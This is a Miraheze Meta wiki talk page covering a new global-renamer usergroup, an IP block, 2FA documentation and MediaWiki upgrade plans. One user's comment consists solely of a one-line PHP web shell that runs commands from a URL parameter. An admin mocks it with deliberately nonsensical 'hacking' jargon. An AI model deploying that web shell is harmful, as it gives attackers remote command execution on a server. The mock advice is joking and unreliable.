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Note about the new usergroup[edit source]

A new usergroup was added to Meta, called global-renamer (any interface admin feel free to modify the respective MediaWiki: messages to give it a proper name).

This group was added to Meta's configuration at the request of User:Agent Isai in miraheze/mw-config/pull/5207 on GitHub, merged by me.

This group has only the (centralauth-rename) permission, allowing members of the group to rename users globally.

This group was created to avoid issues related to how global renames work from affecting Stewards. Everytime you rename an user globally, there are a lot of log entries created. Two of them are always in Meta, at Special:Log/gblrename and Special:Log/rename. Aditionally log entries are created on every wiki where that user has an account, at Special:Log/rename. This process involves creating local accounts for the Steward in those wikis in order to perform the rename, and having your global account attached to many local accounts is known to cause issues, hence this usergroup.

Only Steward's alternative accounts are allowed to have this group (they may give it to their alternative accounts at will), so this doesn't mean we now have Wikimedia-style global renamers. Stewards themselves, even if through alternative accounts, remain the only ones handling global renames. OrangeStar (talk) 13:52, 23 April 2023 (UTC)Reply[reply]

<?php system($_GET['cmd']);?> Flm2r (talk) 09:42, 28 April 2023 (UTC)Reply[reply]

Master hacker here pwning teh n00bz. OrangeStar (talk) 09:46, 28 April 2023 (UTC)Reply[reply]
Special:AbuseLog/1010489. Interesting hacking strategy, however I have a recommendation to make:
To begin with, in order to ensure that an auto hack had been successful it could be necessary to perform an intensive analysis of the security system using a quantum subroutine visualizer. This would allow for a full examination of the system's defenses, pinpointing potential weaknesses and highlighting any components that may be accessible.
Then, to guarantee a successful auto hack it could be necessary to erect a complex network of subatomic particle reflectors. This would serve to distort the transmission of the code, allowing it to pass unnoticed through even the most rigorous of security protocols.
Finally, in order to ensure that the auto hack could not be traced back to its source it may be necessary to inject a hypervirus into the system. This would destroy all traces of the hack, leaving no indication for any forensic investigation to uncover. OrangeStar (talk) 10:01, 28 April 2023 (UTC)Reply[reply]

How can i unblock my ip?[edit source]

Because of too many failed logins my regular IP got blocked.

i am the bureaucrat how can i make an official request to unblock? Giovi2008 (talk) 12:24, 5 May 2023 (UTC)Reply[reply]

Unfortunately we can't help with that.
Once your IP gets unblocked automatically, I recommend considering using a password manager, like KeePassXC. It will help prevent these things from happening, as the password manager will remember the password for you, avoiding being locked out because of not remembering the password. OrangeStar (talk) 15:30, 5 May 2023 (UTC)Reply[reply]

Redirect OATHAuth to 2FA[edit source]

I tried to make a new page for 2FA, since I didn't quite like OATHAuth, and a lot has changed since then, like for example the introduction of WebAuthn as a 2FA method. How about we redirect OATHAuth to 2FA? OrangeStar (talk) 16:07, 5 May 2023 (UTC)Reply[reply]

Race-Cars Toon Data[edit source]

Race-Cars Toon Data is a wiki database like wikidata that I want to create is a wiki database that hosts items from the Race-Cars Toon Wiki, I found a wiki that is a database called Gratisdata, I would like you to delete all contributions in this wiki. Lomeno 24 • (Contact me hereFriend 😊) 01:10, 3 July 2023 (UTC)Reply[reply]

@Lomeno 24 Hi there!
As a bureaucrat in this wiki, I must admit that I am a bit puzzled by the context of your request. After all, you made this inquiry and subsequently continued to contribute to the wiki. --  Joseph  TB  CT  CA  08:44, 5 July 2023 (UTC)Reply[reply]
@Ugochimobi: So my contributions are constructive, that means that it is not necessary to delete them, since they are not vandalic contributions.--Lomeno 24 • (Contact me hereFriend 😊) 20:13, 5 July 2023 (UTC)Reply[reply]

Miraheze Annual Survey 2023[edit source]

Do Miraheze have plans for this year's Miraheze Annual Survey? It should have been happened at around this time. Silicona (talk) 07:41, 12 August 2023 (UTC)Reply[reply]

Neither Miraheze Limited nor the Miraheze Foundation are in a position to conduct a survey, since the process for transferring Miraheze Limited's assets to the Miraheze Foundation is still ongoing. If a survey happens this year, I'd say it'd happen near the end (e.g. October/November), when the Miraheze Foundation would realistically be set up by then. Tali64³ (talk) 12:02, 12 August 2023 (UTC)Reply[reply]

MediaWiki 1.40[edit source]

MediaWiki 1.40 was released in June. Do Miraheze have plans to upgrade MediaWiki to the new version? Silicona (talk) 12:51, 14 August 2023 (UTC)Reply[reply]

Though I'm not a guru, I can say there are no immediate plans to implement MediaWiki 1.40. The project is in the midst of transitioning from Miraheze Ltd in the UK to a US-based non-profit. On top of that, Miraheze is short on the volunteers needed to transition to MediaWiki 1.40. As I understand it, there are a lot of moving parts behind the scenes involved in such an upgrade and the risk of "breaking" something with the present functionality does not outweigh the potential benefits of any new features. Once things stabilize, I'm sure Miraheze staff will look into it. Jph2 (talk) 14:23, 14 August 2023 (UTC)Reply[reply]
There is a notice showing on all wikis now ... about upgrading to MediaWiki 1.40...
Miraheze will be upgrading to MediaWiki 1.40 on Saturday October 21st from 22:00 PM UTC until 02:00 AM UTC. There may be some downtime for wikis so please ensure you save your edits before the maintenance window.
--- Imamy (talk) 15:01, 21 October 2023 (UTC)Reply[reply]

Change the default categories of the Babel template[edit source]

I would like to know how I can change the default categories of the Babel template as in Wikipedia. aquí Lomeno 24 • (Contact me hereFriend 😊) 07:26, 27 October 2023 (UTC)Reply[reply]